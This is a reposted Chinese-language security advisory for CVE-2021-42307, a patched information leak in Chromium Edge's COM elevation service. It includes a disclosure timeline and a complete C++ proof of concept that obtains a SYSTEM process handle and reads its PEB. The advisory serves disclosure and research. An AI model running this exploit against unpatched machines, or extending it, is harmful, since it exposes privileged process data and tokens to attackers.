Chromium Edge信息泄露漏洞

浏览器安全 2年前 (2022) admin
645 0 0
  • 标题
    Chromium Edge信息泄露漏洞
  • 报告编号
    CBKL-2021-0026
  • 报告日期
    2021-08-14
  • 更新日期
    2021-12-09
  • 厂商
    Microsoft
  • 影响产品
    ChromiumEdge
  • CVE编号
    CVE-2021-42307
  • CVSS分数
    3.1
  • 已报告天数

漏洞描述

Chromium Edge的COM Service有一个特殊的接口方法,Chrome里并不存在,这个接口可通过Local Server的方法bind interface并调用接口方法,此COM Service会以SYSTEM权限启动一个新的进程,并将system process handle duplicate回用户进程,通过query方法查询system进程信息,造成信息泄露。

发现者

k0shl

漏洞影响

可泄露SYSTEM进程信息,token等。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#pragma once
#include <windows.h>
#include <wrl.h>
#include <comdef.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")
using namespace Microsoft::WRL;

class __declspec(uuid("c9c2b807-7731-4f34-81b7-44ff7779522b")) IElevatorEdge : public IUnknown
{
public:
	virtual HRESULT __stdcall RunRecoveryCRXElevated(WCHAR* crx_path,
		WCHAR* browser_appid,
		WCHAR* browser_version,
		WCHAR* session_id,
		DWORD caller_proc_id,
		ULONG_PTR* proc_handle);
	virtual HRESULT __stdcall LaunchUpdateCmdElevated(WCHAR* browser_appid, 
		WCHAR* cmd_id, 
		UINT caller_proc_id, 
		PHANDLE proc_handle);
};

static HRESULT Check(HRESULT hr)
{
	if (FAILED(hr))
		throw _com_error(hr, nullptr);
	return hr;
}

int main() {
	Check(CoInitializeEx(nullptr, COINIT_MULTITHREADED));
	IID CLS_EDGESVC;
	CLSIDFromString(L"{1FCBE96C-1697-43AF-9140-2897C7C69767}", &CLS_EDGESVC);
	ComPtr<IElevatorEdge> iEleEdge;
	Check(CoCreateInstance(CLS_EDGESVC, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&iEleEdge)));
	//getchar();
	DWORD dwClientPID = GetCurrentProcessId();
	HANDLE proc_handle;
	GUID appid;
	WCHAR strAppID[100] = { 0x0 };
	CoCreateGuid(&appid);
	StringFromGUID2(appid, strAppID, 100);
	HANDLE hToken;
	CoSetProxyBlanket(iEleEdge.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_NONE, COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DEFAULT);
	HRESULT hr = iEleEdge->LaunchUpdateCmdElevated(L"{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}", L"on-os-upgrade", dwClientPID, &proc_handle);
	
	printf("handle: 0x%x\n", proc_handle);
	PROCESS_BASIC_INFORMATION peb = { 0 };
	ULONG  retLength;
	NtQueryInformationProcess(proc_handle, ProcessBasicInformation, &peb, sizeof(peb), &retLength);
	
	printf("%d SYSTEM PROCESS PEB AT: 0x%p\n", peb.UniqueProcessId, peb.PebBaseAddress);
	getchar();
	return 0;
}

厂商链接

CVE-2021-42307

回应时间表

2021-08-14 漏洞报告
2021-10-19 厂商确认
2021-10-21 漏洞修复

 

 

 

原文始发于昆仑实验室:Chromium Edge信息泄露漏洞

 

版权声明:admin 发表于 2022年1月11日 下午7:19。
转载请注明:Chromium Edge信息泄露漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...